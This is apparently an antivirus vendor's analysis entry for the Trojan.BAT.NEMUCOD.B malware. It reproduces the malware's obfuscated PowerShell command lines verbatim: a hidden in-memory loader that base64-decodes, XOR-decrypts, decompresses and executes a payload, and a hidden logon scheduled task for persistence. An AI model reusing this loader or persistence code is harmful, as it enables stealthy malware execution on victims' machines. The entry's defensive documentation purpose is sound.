Trojan.BAT.NEMUCOD.B

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.ps1
• %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.psm1
• %AppDataLocal%\Pac\data2.txt
• %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
• %AppDataLocal%\taskUnity\task.exe
• %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
• %Application Data%\BlueStack\versionid.txt
• %AppDataLocal%\Pac\logs.txt
• %AppDataLocal%\Pac\data2.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• C:\Windows\system32\cmd.exe /K install.bat
• "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taHD='install.bat';$NtIb='FHirslHirsusHirshHirs'.Replace('Hirs', '');$ObcK='WHirsrHirsiHirstHirse'.Replace('Hirs', '');$ArEi='RHirseHirsaHirsd'.Replace('Hirs', '');$JrMk='LHirsoHirsaHirsd'.Replace('Hirs', '');$zoKG='EHirsnHirstHirsryHirsPoHirsinHirst'.Replace('Hirs', '');$ddJZ='IHirsnHirsvoHirskHirse'.Replace('Hirs', '');$UHEF='FrHirsoHirsmBHirsasHirse6Hirs4HirsSHirstrHirsinHirsg'.Replace('Hirs', '');$SPyy='MHirsaHirsinHirsMoHirsdHirsuHirsle'.Replace('Hirs', '');$VaHf='GHirseHirstHirsCuHirsrrHirsenHirstPHirsroHirsceHirsss'.Replace('Hirs', '');$PDYZ='ElHirsemHirsenHirstAHirst'.Replace('Hirs', '');$Retn='ReHirsadHirsLiHirsnHirseHirss'.Replace('Hirs', '');$Hdbx='ChHirsaHirsnHirsgeHirsExHirstHirseHirsnsHirsiHirsoHirsnHirs'.Replace('Hirs', '');$ublZB=[System.Linq.Enumerable]::$PDYZ([System.IO.File]::$Retn($taHD), 1);$YXXGq=$ublZB.Substring(2);function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$ArEi($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$ObcK($bRTaW,0,$FgteA);$hRgEv.$NtIb();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$UHEF('7hl8HDjB6KYIKdxWsK/Yv3pcVj44gbOTziIiPQGMP4k=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::$UHEF($YXXGq)));[System.Reflection.Assembly]::$JrMk([byte[]]$YjPOO).$zoKG.$ddJZ($null,$null);
• "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.Read($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.Write($bRTaW,0,$FgteA);$hRgEv.Flush();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::FromBase64String('hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::FromBase64String([System.IO.File]::ReadAllText('$AppDataLocal%\Pac\data2.txt'))));[System.Reflection.Assembly]::Load([byte[]]$YjPOO).EntryPoint.Invoke($null,$null);"
• "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taskName = 'CFoxMaint';$taskExe = '$AppDataLocal%\taskUnity\task.exe';$taskarg = '\"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe\" \"-w\" \"hidden\" \"-c\" \"$Uicm=''FlUicmWuUicmWsUicmWh''.Replace(''UicmW'', '''');$WDCA=''WUicmWriUicmWtUicmWe''.Replace(''UicmW'', '''');$dDMx=''RUicmWeUicmWaUicmWd''.Replace(''UicmW'', '''');$zBMT=''LUicmWoUicmWaUicmWd''.Replace(''UicmW'', '''');$LJao=''RUicmWeaUicmWdUicmWAUicmWllUicmWTUicmWexUicmWt''.Replace(''UicmW'', '''');$aNhY=''EnUicmWtUicmWryUicmWPoUicmWinUicmWt''.Replace(''UicmW'', '''');$ArWV=''InUicmWvUicmWokUicmWe''.Replace(''UicmW'', '''');$Sacu=''FrUicmWomUicmWBaUicmWseUicmW64UicmWSUicmWtrUicmWing''.Replace(''UicmW'', '''');function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$dDMx($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$WDCA($bRTaW,0,$FgteA);$hRgEv.$Uicm();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$Sacu(''hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E='');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([Convert]::$Sacu([System.IO.File]::$LJao(''$AppDataLocal%\Pac\data2.txt''))));[System.Reflection.Assembly]::$zBMT([byte[]]$YjPOO).$aNhY.$ArWV($null,$null);\"';$taskWD = '$AppDataLocal%\Pac';$taskExists = Get-ScheduledTask | Where-Object {$_.TaskName -like $taskName };$A = New-ScheduledTaskAction -Execute $taskExe -WorkingDirectory $taskWD -Argument $taskarg;if($taskExists) {Set-ScheduledTask -TaskName $taskName -Action $A;} else {$T = New-ScheduledTaskTrigger -AtLogOn -User ($env:USERNAME);$S = New-ScheduledTaskSettingsSet -StartWhenAvailable -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;$D = New-ScheduledTask -Action $A -Trigger $T -Settings $S;Register-ScheduledTask -TaskName $taskName -InputObject $D;}

Other System Modifications

This Trojan deletes the following files:

• %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.ps1
• %User Temp%\{8 random alphanumeric characters}.{3 random alphanumeric characters}.psm1

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Mobile Malware Routine

This Trojan accesses the following possibly malicious URL(s):

• {BLOCKED}on.top:443
• {BLOCKED}ion.top:443